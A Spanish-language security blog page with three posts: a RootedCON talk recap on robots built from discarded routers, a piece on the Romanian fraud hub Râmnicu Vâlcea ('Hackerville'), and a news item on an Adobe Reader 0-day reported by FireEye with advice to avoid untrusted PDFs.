Para terminar las charlas de este primer día tocaba escuchar a David Melendez, para ser sincero no tenía ni remota idea de lo que iba a ir esta charla pero tras presenciarla me he quedado sin palabras. David ha trabajado durante varios años en crear dos robots a partir de dos routers que tenía en casa tirados - de ahí el título de su charla Trash robotic router platform-. El primero de los robots presentado era un ROV montado sobre un WRT54G el cual disponía de un acelerómetro para mantener la cámara perpendicular al suelo y era controlado a traves de WiFi mediante un interfaz HTML5. El segundo robot consistía en un cuadricóptero montado en base a un router La Fonera con OpenWRT el cual al igual que el anterior recibía las ordenes mediante ajax desde el navegador, las procesaba en un servidor web reducido a su mínima expresión. La verdad esta ha sido una de las mejores charlas sobre hardware hacking que mas me ha gustado en bastante tiempo y espero poder ver mas de este señor porque de verdad "se lo ha currao".

Para terminar el día llegó la hora del RootedPanel donde se trataron las experiencias de varias personas a la hora de trabajar fuera del país. 

Ahora ya va siendo hora de descansar para prepararse para las charlas de mañana. !Buenas noches!

Bienvenidos a Hackerville

Râmnicu Vâlcea


En un lugar perdido de Rumanía llamado Râmnicu Vâlcea se sitúa uno de los mayores núcleos del crimen cibernético mundial, llamado coloquialmente "Hackerville". Esta ciudad situada a los pies de los alpes transilvanos y con una población de 120.000 personas concentra un gran porcentaje de las estafas que nos encontramos por internet.

La ciudad hasta 1989 no era algo fuera de lo común, pero tras una revuelta popular y la ejecución de Ceausescu el país comenzó a globalizarse, a finales de los 90 y principios del nuevo milenio con la llegada de internet la ciudad comenzó su gran cambio.

La aparición de las transacciones económicas y las plataformas de ventas y subastas hicieron que floreciesen las estafas en esta ciudad, las cual a la larga la mutarían por completo. En un principio los estafadores se conectaban desde cibercafes debido al limitado acceso a internet y utilizaban sus propios nombres - cosas del desconocimiento inicial -. A medida que avanzó el tiempo estos "cacos de la red" se fueron especializando, generando guias de comportamiento, subcontratando personal por motivos de idioma y mas tarde utilizando a mulas para recolectar el dinero que estafaban en internet.

Nuevo 0-Day descubierto en Adobe Reader 11.0.1



El equipo de FireEye ha reportado una nueva vulnerabilidad en Adobe Reader que está siendo explotada por atacantes para instalar malware saltandose el sandbox de la aplicación. La vulnerabilidad afecta a las versiones 9.5.3, 10.1.5 y 11.0.1 aunque probablemente sea extensible a otras.

Por el momento no han transcendido detalles de la vulnerabilidad dado que Adobe está trabajando en un parche, pero una vez publicado éste se publicarán los detalles técnicos según comentan los investigadores en su blog.

Como recomendación para el usuario es recomendable no utilizar Adobe Reader hasta que salga a la luz una solución y tener mucho cuidado con los PDF de personas desconocidas.

ShellShock Labs es un blog dedicado a seguridad y hacking en general, un lugar donde buscamos que la gente participe con sus opiniones.

Síguenos




Posts Populares